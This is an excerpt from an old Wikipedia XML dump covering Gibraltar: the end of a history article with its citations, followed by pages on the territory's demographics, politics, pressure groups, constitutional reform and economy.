*2002 - The [[British Overseas Territories Act 2002]] made provision for the renaming of British Dependent Territories as [[British Overseas Territories]], which changed the status of Gibraltar to an Overseas Territory. This act granted full British citizenship to British Overseas Territories, which was already available to Gibraltarians since 1983.
[[Image:Gibraltar-flags-national-pride.jpg|thumb|Flags hanging from a building in the Tercentenary celebrations of the capture of the Rock]]
*2004 August - Gibraltar celebrated 300 years of British rule. Spanish officials labeled this as the celebration of 300 years of British occupation {{ref|washtimes}}.
*[[2004]] [[November 18]] - A joint commission (''Comisión mixta de Cooperación y Colaboración'') was established between the ''Mancomunidad de Municipios de la Comarca del Campo de Gibraltar'' (the Council Association of the Campo de Gibraltar, the historic Spanish county that surrounds Gibraltar) and the Gibraltarian government.
*2004 [[October 28]] - The governments of the United Kingdom and Spain agreed to allow the Gibraltar government to represent itself in a new open agenda discussion forum (so called Tripartite Talks) {{ref|tri}}.
*2005 July - First Tripartite Talks took place in [[Faro, Portugal]].

==Sources==
===British sources===
&lt;div style=&quot;font-size: 85%&quot;&gt;
* {{note | contention }} {{cite book
 | first = George | last = Hills
 | year = 1974
 | title = Rock of Contention. A History of Gibraltar
 | publisher = Robert Hale | location = London
 | id = ISBN 0-7091-4352-4
 }} [http://www.owa.org.uk/obituaries.htm#Dr%20George%20A.M.%20Hills George Hills] was a BBC World Service broadcaster, Spanish Historian and Fellow of the Royal Historical Society.

* {{note | rock }} {{cite book
 | first = William | last = Jackson
 | year = 1990
 | title = The Rock of the Gibraltarians. A History of Gibraltar
 | publisher = Gibraltar Books
 | edition = 2nd edition
 | location = Grendon, Northamptonshire, UK
 | id = ISBN 0-948466-14-6
 }} General Sir [[William Jackson (Gibraltar)|William Jackson]] was Governor of Gibraltar between 1978 and 1982, a military Historian and former Chairman of the Friends of Gibraltar Heritage.
&lt;/div&gt;

===Gibraltarian sources===
&lt;div style=&quot;font-size: 85%;display:none&quot;&gt;&lt;!-- display when something added --&gt;
*{{cite book}}
&lt;/div&gt;

===Spanish sources===	 
&lt;div style=&quot;font-size: 85%&quot;&gt;
* {{note | razon }} {{cite book
 | first = Isidro | last = Sepúlveda
 | year = 2004
 | title = Gibraltar. La razón y la fuerza (Gibraltar. The reason and the force)
 | publisher = Alianza Editorial
 | others = in [[Spanish language | Spanish]]
 | location = Madrid
 | id = ISBN 84-206-4184-7
 }} Chapter 2, &quot;La lucha por Gibraltar&quot; (The Struggle for Gibraltar) is available [http://www.alianzaeditorial.es/catalogos/capitulo_promocion/LU00046301.pdf online] (PDF). Isidro Sepúlveda Muñoz is a Contemporary History Professor in the UNED (&quot;Universidad Nacional de Educación a Distancia&quot;), the biggest Spanish university.	
&lt;/div&gt;

==Notes==
&lt;div style=&quot;font-size: 85%&quot;&gt;
# {{note|radio4}} {{note_label|radio4|1|a}} {{cite web
 | author = BBC Radio 4
 | year = 2005-11-01
 | url = http://www.bbc.co.uk/radio4/history/empire/episodes/episode_27.shtml
 | title = Gibraltar
 | work = The Sceptred Island: Empire. A 90 part history of the British Empire
 | accessdate = 2005-12-16
 }}
# {{note|charlesiii}} {{cite web
 | author = Virginia León Sanz
 | year = 2000
 | url = http://www.bib.uab.es/pub/manuscrits/02132397n18p41.pdf
 | title = El reinado del archiduque Carlos en España: la continuidad de un programa dinástico de gobierno (The reign of the Archduke Charles in Spain: the continuity of a dynastic government program), in Spanish
 | format = PDF
 | work = Manuscrits. Revista d'història moderna
 | publisher = Universitat Autònoma de Barcelona (Spain)
 | accessdate = 2005-12-16
 }}
# {{note|map}} {{cite web
 | author = Tito Benady
 | year = 2004 August
 | url = http://www.chronicle.gi/terc/attack%20on%20gib/05.pdf
 | title = The Attack on Gibraltar. Friday [[2 August]] [[1704]]
 | format = PDF
 | work = Tercentenary Special
 | publisher = Gibraltar Chronicle
 | accessdate = 2005-12-16
 }}
# {{note|bossano}} {{cite web
 | author = Joe Bossano
 | year = 1994
 | url = http://www.gibnet.com/texts/jbun1.htm
 | title = The Fight for Self - Determination. Joe Bossano at the United Nations
 | publisher = Gibraltar... The unofficial homepage. Reference Documents about Gibraltar and its political struggles
 | accessdate = 2005-12-16
 }}
# {{note|tercentenary}} {{cite web
 | author = David Eade
 | year = 2004
 | url = http://www.gibraltar2004.gov.gi/history.html
 | title = 1704 and all that
 | work = Celebrating 300 Years of British Gibraltar (Tercentenary Web Site)
 | publisher = Government Tercentenary Office, Gibraltar Government
 | accessdate = 2005-12-16
 }}
# {{note|britannica}} {{cite web
 | author = Cambrigde University Press
 | year = 1911
 | url = http://66.1911encyclopedia.org/G/GI/GIBRALTAR.htm
 | title = Encyclopaedia Britannica, 11th Ed. Gibraltar entry
 | accessdate = 2005-12-17
 }}
# {{note|Sepulveda1}}''Gibraltar. La razón y la fuerza'', p. 90.
# {{note|Jackson1}}''The Rock of the Gibraltarians. A History of Gibraltar'', p. 99.
# {{note|Hills1}} {{note_label|Hills1|9|a}}''Rock of Contention. A History of Gibraltar'', p. 475-477.
# {{note|Hills2}} {{note_label|Hills2|10|a}}''Rock of Contention. A History of Gibraltar'', p. 176.
# {{note|Jackson2}} {{note_label|Jackson2|11|a}}''The Rock of the Gibraltarians. A History of Gibraltar'', p. 101.
# {{note|sanroquemotto}} {{cite web
 | url = http://www.sanroque.es/portal/lloc_d10_v2.jsp?codMenuPrimerNivel=2&amp;codMenu=44
 | title = Ciudad de San Roque, Gibraltar en el exilio (''City of San Roque, Gibraltar in exile''), in Spanish
 | publisher = San Roque City Council
 | accessdate = 2005-12-15
 }}
# {{note|sanroquesymbols}} {{cite web
 | url = http://www.sanroque.es/portal/13_pagina_subcabecera.jsp?codMenuPrimerNivel=2&amp;codMenuSegundoNivel=10&amp;codMenu=40
 | title = History of San Roque, donde reside la de Gibraltar (''History of San Roque, where that of Gibraltar lives on''), in Spanish
 | publisher = San Roque City Council
 | accessdate = 2005-12-15
 }}
# {{note|Hills3}}''Rock of Contention. A History of Gibraltar'', p. 177.
# {{note
 | Sepulveda2
 }}''Gibraltar. La razón y la fuerza'', p. 91.
# {{note|oldinhabitants}} {{cite web
 | url = http://www.gibconnect.com/~loonylenny/Oldinhabitants/oldinhabitants.htm
 | title = The Old (Spanish) Inhabitants of Gibraltar who remained in town after the Rock was captured by the British in 1704
 | work = Loony Lenny online. Gibraltar for kids
 | accessdate = 2005-12-15
 }}
# {{note|Jackson3}} {{note_label|Jackson3|16|a}}''The Rock of the Gibraltarians. A History of Gibraltar'', p. 114.
# {{note|lettergeorgei}} {{cite web
 | year = 2003
 | url = http://www.british-history.ac.uk/report.asp?compid=37765
 | title = Letter from George I to the King of Spain On the restitution of Gibraltar (1/6/1721)
 | publisher = British History Online
 | accessdate = 2005-12-16
 }}
# {{note|catholic}} {{cite web
 | author = Catholic Encyclopedia
 | year = 1913
 | url = http://www.newadvent.org/cathen/06550a.htm
 | title = ''Vicariate Apostolic of Gibraltar
 | publisher = New Advent
 | accessdate = 2006-01-02
 }}
# {{note|Hills4}}''Rock of Contention. A History of Gibraltar'', p. 368.
# {{note|felix}} {{cite web
 | url = http://www.adolfhitler.ws/lib/proc/direct18.html
 | title = Operation Felix. Directive No.18
 | work = Adolf Hitler Historical Record
 | publisher = adolfhitler.ws
 | accessdate = 2005-12-16
 }}
# {{note|un2231}} {{cite web
 | author = UN General Assembly
 | year = 1966
 | url = http://www.un.org/documents/ga/res/21/ares21.htm
 | title = Resolution 2231(XXI). Question of Gibraltar
 | format = PDF
 | work = Resolutions adopted by the General Assembly during its Twenty-First Session
 | publisher = United Nations
 | accessdate = 2005-12-16
 }}
# {{note|un2353}} {{cite web
 | author = UN General Assembly
 | year = 1967
 | url = http://www.un.org/documents/ga/res/22/ares22.htm
 | title = Resolution 2353(XXII). Question of Gibraltar
 | format = PDF
 | work = Resolutions adopted by the General Assembly during its Twenty-Second Session
 | publisher = United Nations
 | accessdate = 2005-12-16
 }}
# {{note|incipe}} {{cite web
 | author = Jesús Salgado (coord.)
 | year = 1996
 | url = http://www.incipe.org/gibraltar.pdf
 | title = Informe sobre Gibraltar (''Report on Gibraltar'') (Spanish)
 | format = PDF
 | publisher = INCIPE (Instituto de Cuestiones Internacionales y Política Exterior)
 | accessdate = 2005-12-16
 }}
# {{note|Jackson4}}''The Rock of the Gibraltarians. A History of Gibraltar'', p. 316.
# {{note|doves}} {{cite web
 | author = Giles Tremlett
 | year = [[November 7]] [[2002]]
 | url = http://www.guardian.co.uk/gibraltar/story/0,11525,835097,00.html
 | title = Rock's voters signal rejection of Spanish deal
 | work = Special Report. Gibraltar
 | publisher = The Guardian
 | accessdate = 2005-12-16
 }}
# {{note|spaniards}} {{cite web
 | author = Tito Benady
 | year = 2001
 | url = http://www.iteg.org/documentos/spaniards_in_gibraltar.pdf
 | title = Spaniards in Gibraltar after the Treaty of Utrecht
 | format = PDF
 | publisher = Instituto Transfronterizo del Estrecho de Gibraltar - Transborder Institute of the Strait of Gibraltar
 | accessdate = 2005-12-16
 }}
# {{note|Jackson5}}''The Rock of the Gibraltarians. A History of Gibraltar'', p. 316.
# {{note|brussels}} {{cite web
 | author = Governments of the United Kingdom and Spain
 | year = [[27 November]] [[1984]]
 | url = http://www.gibraltarnewsonline.com/reference_documents/brussels_agreement.html
 | title = The Brussels Agreement
 | accessdate = 2005-12-16
 }}
# {{note|airport}} {{cite web
 | author = Governments of the United Kingdom and Spain
 | year = [[2 December]] [[1987]]
 | url = http://www.gibraltarnewsonline.com/reference_documents/airport_agreement.html
 | title = The Airport Agreement
 | accessdate = 2005-12-16
 }}
# {{note|tireless}} {{cite web
 | author = Ministerio español de Asuntos Exteriores (''Spanish Ministry of Foreign Affairs'')
 | url = http://www.mae.es/mae/util/PrintDocumento.jsp?idNodo=4000&amp;plantilla=PrintSimple&amp;
 | title = Press conference of the Spanish Foreign Office Minister, Mr. Pique in London, of 2001 [[January 24]]
 | accessdate = 2005-12-16
 }}
# {{note|benach}} {{cite web
 | author = The Environmental Safety Group
 | year = 28/11/05
 | url = http://www.gibnews.net/cgi-bin/gn_view.pl/?ESGX051128_1.xml
 | title = ESG Press Release: Professor Benach meets Government and Hassans
 | accessdate = 2005-12-16
 }}
# {{note|rota}} {{cite web
 | url = http://www.globalsecurity.org/military/facility/rota.htm
 | title = Naval Station Rota Report
 | publisher = Globalsecurity.org
 | accessdate = 2005-12-16
 }}
# {{note|iu}} {{cite web
 | url = http://www.izquierda-unida.es/iualdia/2004/julio/12/andalucia.htm
 | title = IULV-CA rechaza el atraque del Tireless y se compromete a fiscalizar a la junta en la desnuclearización de Andalucía
 | year = 2004, [[July 8]]
 | author = [[United Left (Spain)
 | Izquierda Unida]]
 | accessdate = 2005-12-30
 }}
# {{note|observers}} {{cite web
 | url = http://www.gibnet.com/texts/ref02or.pdf
 | title = Gibraltar Referendum Observers Report
 | year = December, 2002
 | accessdate = 2006-01-20
 | format = PDF
 | author = Committee of Observers
 }}
# {{note|washtimes}} {{cite web
 | author = Peter Almond
 | year = 2004, [[August 14]]
 | url = http://www.washtimes.com/upi-breaking/20040804-102838-7490r.htm
 | title = U.K. ignores Spain on Gibraltar tercentenary
 | publisher = The Washington Times
 | accessdate = 2005-12-16
 }}
# {{note|tri}} {{cite web
 | author = Minister of State, Foreign and Commonwealth Office, Baroness Symons of Vernham Dean
 | year = 2004
 | url = http://www.gibraltarnewsonline.com/reference_documents/new_dialogue_forum_statement_October_2004.html
 | title = Joint Statement Announcing new Dialogue Forum - 'Tripartite Talks' for Gibraltar
 | accessdate = 2005-12-16
 }}
&lt;/div&gt;

==External links==
*[http://www.gibconnect.com/~loonylenny/timeline/timeline.htm A Timeline of Gibraltar's History in ''Gibraltar for kids'']
*[http://www.discovergibraltar.com/other/history/history.htm History of Gibraltar (detailed) in discoverGibraltar.com]
*[http://www.gibraltar.gov.gi/about_gib/history/history_index.htm Government of Gibraltar website: History of Gibraltar]
*[http://www.chronicle.gi/Features/tommy%20finlayson.htm The Struggle by Democracy, by T J Finlayson]. A history of the political evolution of Gibraltar from the 19th century to 2000.

[[Category:History of Europe|Gibraltar]]
[[Category:History of Gibraltar]]
[[Category:History of Spain]]

[[es:Historia de Gibraltar]]
[[fr:Histoire de Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Gibraltar</title>
    <id>12079</id>
    <revision>
      <id>15909787</id>
      <timestamp>2002-10-22T04:52:44Z</timestamp>
      <contributor>
        <username>The Epopt</username>
        <id>30</id>
      </contributor>
      <comment>#REDIRECT [[Gibraltar]] -- merged with main page</comment>
      <text xml:space="preserve">#REDIRECT [[Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Gibraltar</title>
    <id>12080</id>
    <revision>
      <id>27334656</id>
      <timestamp>2005-11-04T09:20:18Z</timestamp>
      <contributor>
        <username>Grutness</username>
        <id>117878</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Population:'''
29,481 (July [[2000]] est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
21% (male 3,167; female 3,013)
&lt;br&gt;''15-64 years:''
65% (male 10,141; female 8,925)
&lt;br&gt;''65 years and over:''
14% (male 1,769; female 2,466) (2000 est.)

'''Population growth rate:'''
0.91% (2000 est.)

'''Birth rate:'''
14.14 births/1,000 population (2000 est.)

'''Death rate:'''
8.45 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
3.39 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.05 male(s)/female
&lt;br&gt;''under 15 years:''
1.05 male(s)/female
&lt;br&gt;''15-64 years:''
1.14 male(s)/female
&lt;br&gt;''65 years and over:''
0.72 male(s)/female
&lt;br&gt;''total population:''
1.05 male(s)/female (2000 est.)

'''Infant mortality rate:'''
5.6 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
78.95 years
&lt;br&gt;''male:''
76.09 years
&lt;br&gt;''female:''
81.96 years (2000 est.)

'''Total fertility rate:'''
2.15 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Gibraltarian(s)
&lt;br&gt;''adjective:''
Gibraltar

'''Ethnic groups:'''
Gibraltarian British (of mixed [[Genoa|Genoese]], [[Malta|Maltese]], [[Portuguese people|Portuguese]] and [[Spanish people|Spanish]], with some [[Germany|German]] descent), other [[Great Britain|British]], [[Moroccan|Moroccan]], [[India]]n.

'''Religions:'''
[[Roman Catholic]] 76.9%, [[Church of England]] 6.9%, [[Islam|Muslim]] 6.9%, [[Jew|Jewish]] 2.3%, other (including [[Hinduism|Hindu]]) or none 7% (1991)

'''Languages:'''
[[English language|English]] (used in schools and for official purposes), [[Spanish language|Spanish]], [[Arabic language|Arabic]]. Most Gibraltarians converse in a [[patois]] called ''[[llanito]]'' or ''[[Yanito]]'', which is a mix of Andalucian Spanish and [[British English|British]] English with [[Italian language|Italian]], and [[Hebrew language|Hebrew]] loan words.  

'''Literacy:'''
&lt;br&gt;''definition:''
NA
&lt;br&gt;''total population:''
above 80%
&lt;br&gt;''male:''
NA%
&lt;br&gt;''female:''
NA%

:''See also :'' [[Gibraltar]]

{{Gibraltar-stub}}

[[Category:Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Gibraltar</title>
    <id>12081</id>
    <revision>
      <id>41381708</id>
      <timestamp>2006-02-26T23:39:53Z</timestamp>
      <contributor>
        <username>Gibnews</username>
        <id>640014</id>
      </contributor>
      <comment>/* tidying up wording */</comment>
      <text xml:space="preserve">:''See also [[Disputed status of Gibraltar]].''
{{Politics of Gibraltar}}
'''Politics of Gibraltar''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democracy|representative democratic]] [[dependency]], whereby the Chief Minister is the [[head of government]], and of a pluriform multi-party system. [[Gibraltar]] is an [[British overseas territory|overseas territory]] of the [[United Kingdom]], with full internal self-government under its [[1969]] [[Constitution]]. The preamble to that Constitution states that ''&quot;Her Majesty's Government will never enter into arrangements under which the people of Gibraltar would pass under the sovereignty of another state against their freely and democratically expressed wishes.&quot;''. 

In a [[referendum]] on [[September 10]] [[1967]], the people Gibraltar voted by 12,138 to 44 to reject the transfer of sovereignty to [[Spain]] and to remain under British sovereignty. This day is now celebrated as Gibraltar's National Day. In a referendum organised by the Government of Gibraltar on [[November 7]] [[2002]], voters overwhelmingly rejected the principle that Spain and the United Kingdom should share sovereignty over Gibraltar, by 17,900 votes to 187 on a turnout of almost 88%.

Unlike most other British colonies, Gibraltar has not been offered independence by the UK. It has been suggested that this is on the grounds that the [[Treaty of Utrecht (1713)]], under which Spain ceded the territory to the British Crown, states that should the British Crown dispose of Gibraltar, it must be first offered to Spain. However the Gibraltar Government has pointed out at the UN that Article 103 of the UN Charter overrules and annuls this &quot;reversionary clause&quot;.

Neither the United Kingdom, nor Spain seem keen to test the legal status of Clause X of the Treaty of Utrecht in court.  The remaining parts of the treaty which regulated such things as the slave trade, and the transfer of Minorca to the British, have become obsolete.

Spain argues that Gibraltar's status is an anachronism, and that it should become an [[Autonomous communities of Spain|autonomous community of Spain]], similar to [[Catalonia]] or the [[Basque Country (autonomous community)|Basque Country]]. It also argues that the principle of [[territorial integrity]], not [[self-determination]] applies, drawing parallels with the British handover of [[Hong Kong]] to [[China]] in [[1997]].

The Gibraltarians continue to assert that they are British not Spanish, and HMG repeatedly states that there can be no change in the status of Gibraltar without their democratic consent. The Gibraltar Government has asked the UN Committee of 24 to refer the issues to the International Court of Justice for an advisory opinion, but Spain has lobbied against this.  The Gibraltar Government has also invited the Committee to visit the territory, but so far, despite no objection from the United Kingdom, they have not.

==Executive branch==
{{office-table}}
|Queen
|[[Queen Elizabeth II of the United Kingdom|Elizabeth II]] 
|
|[[6 February]] [[1952]]
|-
|Governor
|Sir [[Francis Richards]]
|
|[[2003]]
|-
|Chief Minister
|[[Peter Caruana]]
|[[Gibraltar Social Democrats|GSD]]
|[[17 May]] [[1996]]
|}

===The Governor===

[[Elizabeth II of the United Kingdom|Queen Elizabeth II]] is represented by the Governor and Commander-in-Chief, presently Sir Francis Richards (appointed [[2003]]). The Governor appoints the leader of the largest party in the [[unicameral]] [[House of Assembly]], as [[Chief Minister]], along with other members of the [[Council of Ministers]]. In addition, he appoints the Financial Development Secretary and the Attorney-General, who are ''ex officio'' members of the House of Assembly. They, along with the Governor, the Deputy Governor and the Chief Minister, are members of the advisory Gibraltar Council. The Governor is also directly responsible for the local police force, known as the Royal Gibraltar Police, while the Deputy Governor is responsible for public service appointments.

===The Executive===

The present Chief Minister is the Hon [[Peter Caruana]], QC, of the Gibraltar Social Democrats (GSD), who have been in office since [[May 17]], [[1996]], and were returned to power in elections held on [[February 10]] [[2000]], and [[November 27]] [[2003]]. The Leader of the Opposition is the Hon [[Joe Bossano]], of the Gibraltar Socialist Labour Pary (GSLP), which is in coalition with the Liberal Party of Dr Joseph Garcia. All parties support Gibraltar's right to self-determination, and reject agreements with Spain on the issue of sovereignty. Traditionally, the GSLP has been more hardline towards Madrid, the GSD more conciliatory, although less so in government than in opposition.

==The Legislature==

The [[Gibraltar House of Assembly]] consists of fifteen elected members, the Speaker, and the two ''ex officio'' members. Under the electoral system of [[partial bloc voting]] used since 1969, voters must choose eight candidates, who need necessarily not be from the same party but usually are.  The winning candidates are then chosen by simple plurality; consequently, a party seeking to form a government stands eight candidates, and the result is usually that eight of the elected seats are won by the most popular party which forms the elected Government; the remaining seven are usually won by the 'best loser' which forms the opposition. The last election was held on [[November 27]], [[2003]].

See [[#Political parties and elections|below]] for recent results.

==Political parties and elections==
{{elect|List of political parties in Gibraltar|Elections in Gibraltar}}
{{Gibraltar legislative election, 2003}}
Since the 2003 election the Reform Party has dissolved, with the party leader and others now involved in Friends of the Earth (Gibraltar).
The Labour Party has merged with the Gibraltar Social Democrats.

A new party, the [[New Gibraltar Democracy]] has been created unrelated to either and has announced it will contest the next election. New Gibraltar Democracy advocates the imposition of more far reaching democratic checks and balances on the exercise of power by the local government of the day, and objects to proposed new constitutional reforms which, it says would give even more unfettered powers to the executive. However, to date, NGD appears to be only made up of the one person who announced it!




==Pressure Groups==

In addition to the parties there are a number of pressure groups active in Gibraltar, not aligned to any political party.

===The Womens Association===

The Gibraltar Women's Association was founded on the 15th february 1966, by Mrs Mariola Summerfield and Mrs Angela Smith. 

It was originally known as the Gibraltar Housewives Association, and subsequently, in the early eighties it was changed to the Gibraltar Women's Association keeping in with more modern times that not all women were just housewives. 

===Equality Rights - GGR===

Probably one of the most interesting social phenomena in Gibraltar 
was the  launch in September 2000 of a gay rights organisation GGR 
causing a stir in a conservative  society such as Gibraltar. 

However, the open and challenging campaigns this NGO has put to the fore of Gibraltar issues has meant that GGR has  become Gibraltar's premier Human Rights organisation.  

As such GGR is now known as Equality Rights GGR reflecting the fact 
that  although it still defends sexual minorities it is also highly 
active on issues  regarding the disabled, British residents' rights, and issues regarding the  protection of children against sex abuse amongst others.  

The phenomenon has meant that, increasingly, more and more sectors 
of the Gibraltar community have found encouragement to bring forward their own issues in an equally forthright manner. 

This can be seen not only with the growth of environmentalist groups but  also citizens groups fighting against development and planning of construction  projects. In a way, this NGO phenomenon is perhaps the most interesting political  development in Gibraltar since the foundation of the Association for the Advancement  of Civil Rights (AACR) in the 1940s as a result of the WWII experience.  

Local politics has for decades revolved upon Sovereignty issues, 
allowing for  local politicians to construct whole careers on this 
one item whilst allowing Gibraltar  to stay behind on social issues 
wherein the rest of Europe has moved forward.  

===The Environmental Safety Group===

The ESG is a registered Gibraltar charity which works to safeguard the Environment of Gibraltar and the Bay area, including air, land and marine aspects. We campaign to protect our local ecology from pollution and contamination and to promote public safety in all matters relating to the welfare of our community. 

===The Voice of Gibraltar Group===

The VOGG is a long running group which has the objective of defending the rights of Gibraltarians against external threats.  It engages in public debate, and protest action where appropriate. As a non political group, its members represent a cross section of the community.

It was particularly active in canvassing a 'NO' note in the 2002 referendum, when it toured the estates with a loudspeaker van and invited guests from all parties to address the residents, culminating with the Chief Minister after the result was announced.
 

==Constitutional Reform==

===Select Committee Proposals===

In [[1999]], the Government of Gibraltar established a Select Committee on Constitutional Reform, to consider how the 1969 Constitution should be reformed. It envisaged decolonisation by creating a modern and non-colonial relationship with the [[United Kingdom]]. A draft Constitution was published in [[2002]], which envisaged the following:

* The right to self-determination being enshrined in the preamble, as in the [[Falkland Islands]].

* The replacement of the Governor by a Lieutenant Governor, as in the [[Channel Islands]] and the [[Isle of Man]], as the Queen's representative, with the office of Deputy Governor being abolished.

* The abolition of the office of the Financial Development Secretary, whose functions would pass to an elected member of the Council of Ministers, with the Attorney-General being similarly appointed.

* The House of Assembly, henceforth called the Gibraltar Parliament, to consist solely of elected members.

* The abolition of the Gibraltar Council (presently obsolete), and its replacement by a Consultative Council for [[European Union]] matters, consisting of Gibraltar and UK Ministers

* The right of the Government of Gibraltar to dispose of Crown lands in Gibraltar

===Integration with the UK===

A group in Gibraltar has campaigned in favour of a far closer relationship with the UK, in the form of devolved integration or incorporation into the UK itself. This is similar to what was offered to [[Malta]] in [[1955]]. The Rock would be represented in the [[British House of Commons]], while retaining internal self-government. This would be a similar status to [[France]]'s [[Overseas Department]]s, and indeed to [[Spain]]'s [[North Africa]]n [[enclave]]s, [[Ceuta]] and [[Melilla]], claimed by [[Morocco]]. One of Spain's arguments in rejecting comparisons between Gibraltar and these territories, is that they are part of Spain, whereas Gibraltar is merely a British [[crown colony]], and not part of the UK. 

However, the British [[Foreign Office]] rejected the idea in [[1976]], along with independence, on the grounds that any further constitutional reform or decolonisation would have to take into account the so-called 'Spanish dimension'. Many in Gibraltar, including the present Government, have also argued against integration on the grounds that it would mean the surrendering of many existing powers of self-government.

While there is still considerable emotional attachment to the idea of Gibraltar being British, some see the Rock's future as being within a larger 'Europe of the Regions', rather than as part of one nation state or another.

===Condominium===

The idea of a [[Condominium (international law)|condominium]], with sovereignty shared between the UK and Spain has even less support in Gibraltar. The suggestion was made on a BBC Television programme made in Gibraltar on the eighties by a UK politician, and attended by Fernando Moran, prior to becoming foreign minister of Spain and re-opening the land frontier. The suggestion was for a status similar to that of [[Andorra]], in which [[Elizabeth II of the United Kingdom|Queen Elizabeth II]] and  [[Juan Carlos I of Spain|King Juan Carlos]] would be joint [[heads of state]], in the same way that [[President of France]] and the Spanish [[Bishop of Urgell]] are Co-Princes of Andorra. 

This would give Spain a symbolic constitutional role in Gibraltar, but would not go far enough for Spain towards effective Spanish control of the Rock. Even a symbolic role would be a step too far for most Gibraltarians.

==European election 2004==

''Main article: [[European Parliament Election, 2004 (Gibraltar)]].''

Although affected by [[European Union]] law, Gibraltar had not voted in elections for the [[European Parliament]].  This changed in the [[European Parliament Election, 2004 (UK)|2004 election]], when it was included as part of the [[South West England]] region, as its electorate of 20,740 is too small to justify even a single seat set aside for it.

This was the first UK election Gibraltar has ever participated in.  The [[Conservative Party (UK)|Conservative Party]] took 69.52% of the vote, which has generally been interpreted as a protest against the handling of Gibraltar by the [[Labour Party (UK)|Labour Party]].
The Conservatives also campaigned more strongly, with the support of the [http://www.conservatives.gi Gibraltar branch] of the party, and a visit from the party leader [[Michael Howard |Michael Howard]].

== External links ==
*[http://www.gsd.gi The Gibraltar Social Democrats]
*[http://www.gslp.gi The Gibraltar Socialist Labour party]
*[http://www.gibnet.com/eurovote History of the Eurovote Issue]
*[http://citymayors.com/government/gibraltar_government.html CityMayors article]
*[http://www.conservatives.gi The Conservative Party branch in Gibraltar]
*[http://www.froegib.motime.com Friends of the Earth, Gibraltar]

* [http://www.gibnet.com/gwa The Womens Association]
* [http://www.esg-gib.net Environmental Safety Group]
* [http://equalityrightsggr.blogspot.com Equality Rights - GGR]
* [http://www.vogg.gi The Voice of Gibraltar Group]

[[Category:Politics of Gibraltar]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Gibraltar</title>
    <id>12082</id>
    <revision>
      <id>39388646</id>
      <timestamp>2006-02-12T21:12:53Z</timestamp>
      <contributor>
        <username>Gibnews</username>
        <id>640014</id>
      </contributor>
      <comment>/* currency corrected */</comment>
      <text xml:space="preserve">{{CIA}}

'''Economy - overview:'''
'''Gibraltar''' benefits from an extensive shipping trade, offshore banking, and its position as an international conference center. The [[United Kingdom|British]] military presence has been sharply reduced and now contributes about 11% to the local economy. The financial sector accounts for 20% of GDP; [[tourism]] (almost 5 million visitors in 1998), [[shipping]] services fees, and duties on consumer goods also generate revenue.  In recent years, Gibraltar has seen major structural change from a public to a private sector economy, but changes in government spending still have a major impact on the level of employment.

'''GDP:'''
purchasing power parity - $500 million (1997 est.)

'''GDP - real growth rate:'''
NA%

'''GDP - per capita:'''
purchasing power parity - $17,500 (1997 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
NA%
'''industry'''
NA%
'''services'''
NA%

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
1.5% (1998)

'''Labor force:'''
14,800 (including non-Gibraltar laborers)

'''Labor force - by occupation:'''
services 60%, industry 40%, agriculture NEGL%
'''Unemployment rate'''
2% (2001)
'''Budget'''

'''revenues'''
$307 million

'''expenditures'''
$284 million, including capital expenditures of $NA (FY00/01)

'''Industries'''
[[tourism]], [[banking]] and [[finance]], [[ship]] repairing, [[tobacco]] 

'''Industrial production growth rate'''
NA%

'''[[Electricity]] - production'''
100 GWh (2001)

'''Electricity - production by source'''

'''[[fossil fuel]]'''
100%

'''[[Hydropower|hydro]]'''
0%

'''[[Nuclear reactor|nuclear]]'''
0%

'''other'''
0% (2001)

'''Electricity - consumption'''
93 GWh (2001)

'''Electricity - exports'''
0 kWh (1998)

'''Electricity - imports'''
0 kWh (1998)

'''Oil - production'''  
0 barrel/day (2001 est.)  

'''Oil - consumption'''    
42,000 barrel/day (6,700 m&amp;sup3;/d) 2001

'''Oil - exports'''    
NA (2001)  

'''Oil - imports'''    
NA (2001)  

'''[[Agriculture]] - products'''
none

'''Exports'''
$81.1 million (f.o.b., 1997)

'''Exports - commodities'''
(principally reexports) [[petroleum]] 51%, manufactured goods 41%, other 8%

'''Exports - partners'''
[[United Kingdom|UK]], [[Morocco]], [[Portugal]], [[Netherlands]], [[Spain]], [[United States|US]], [[Germany]]

'''Imports'''
$492 million (c.i.f., 1997)

'''Imports - commodities'''
Fuels, manufactured goods, and foodstuffs

'''Imports - partners'''
[[United Kingdom|UK]], Spain, [[Japan]], Netherlands

'''[[Currency]]'''
1 [[Gibraltar pound]] = 100 pence

'''[[Exchange rates]]'''

Gibraltar uses the Pound Sterling GBP

Gibraltar pounds per US$1 - 0.0661 (2002), 0.6092 (January 2000), 0.6180 (1999), 0.6037 (1998), 0.6106 (1997), 0.6403 (1996), 0.6335 (1995);

[[Fiscal year]]
[[1 July]] - [[30 June]]

==Taxation in Gibraltar==
Gibraltar is a well known and regulated international finance centre and has been a popular jurisdiction for European off-shore companies. 

Gibraltar's legal system is based on English law, but is separate from the English legal system. Tax exempt companies, which must not trade or conduct any business locally, are taxed at a flat rate of up to £300 a year. Gibraltar has not signed any Double Taxation Treaties.  Non-resident businesses do not pay income tax unless the source of this income is Gibraltar proper. There is no tax on capital income. 

In Gibraltar there is no capital gains tax, wealth tax, sales tax or VAT. Import duty is payable on most items at 12% The main tax for companies is income tax, and Social insurance contributions. there are also stamp duties on certain transactions, and property taxes ('rates'). 

Non resident companies can take advantage of a number of offshore regimes in order to reduce taxation, although in line with the elimination of unfair tax practices this is being phased out. Individuals pay quite high taxes on their income in Gibraltar unless they are able to take advantage of High Net Worth Individual status or gain exemption as an expatriate executive. There is a moderately high estate duty, and import duties are quite high on some items. 

Assessment and collection of tax is administered by the Commissioner of Income Tax; the tax year runs from 1st July to the following 30th June.

== Tax rate information ==

